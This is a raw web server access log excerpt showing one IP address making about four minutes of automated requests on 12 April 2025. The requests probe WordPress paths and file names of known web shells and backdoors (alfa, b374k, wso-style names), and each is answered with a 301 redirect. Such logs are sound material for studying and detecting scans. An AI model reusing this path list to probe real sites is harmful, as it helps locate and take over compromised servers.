[12/Apr/2025:20:32:00 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:01 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:01 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:01 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:02 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:03 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:03 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:04 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:04 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:05 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:06 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:08 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:09 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:11 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:13 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:14 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:14 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:16 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:16 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:17 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:18 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:19 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:20 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:20 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:21 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:22 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:23 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:25 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:27 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:28 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:30 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:32 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:34 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:37 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:39 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:42 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:44 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:47 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:49 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:50 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:51 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:52 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:53 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:53 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:54 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:54 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:54 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:55 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:56 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:57 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:57 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:58 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:58 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:59 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:00 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:03 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:03 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:04 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:06 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:06 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:09 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:10 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:11 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:12 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:13 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:14 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:16 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:18 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:20 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:20 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:22 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:24 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:24 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:25 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:27 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:28 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:29 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:30 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:30 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:31 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:32 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:32 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:33 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:33 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:34 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:34 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:35 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:35 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:35 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:36 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:36 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:37 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:38 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:39 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:40 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:41 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:42 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:43 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:44 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:45 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:46 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:48 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:50 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:52 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:54 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:54 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:56 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:57 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:57 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:58 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:33:59 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:00 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:01 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:03 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:04 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:05 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:06 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:07 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:08 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:09 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:11 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:13 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:15 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:17 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:18 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:19 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:19 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:20 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:20 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:21 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:21 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:22 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:23 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:24 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:24 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:25 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:25 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:27 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:28 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:28 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:29 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:29 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:30 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:31 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:32 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:33 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:33 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:34 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:34 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:36 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:38 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:39 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:39 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:40 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:41 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:43 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:44 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:44 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:45 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:45 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:46 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:48 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:50 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:52 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:53 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:54 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:55 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:56 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:56 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:57 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:58 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:34:59 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:00 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:01 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:02 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:03 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:05 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:09 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:12 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:14 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:16 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:18 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:20 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:23 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:25 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:28 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:30 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:32 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:32 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:33 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:34 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:35 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:36 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:37 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:37 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:38 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:38 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:39 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:40 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:40 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:42 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:42 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:43 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:43 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:44 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:45 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:45 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:46 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:47 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:48 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:49 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:50 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:50 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:52 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:52 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:53 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:54 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:54 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:56 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:56 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:57 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:58 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:35:58 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - 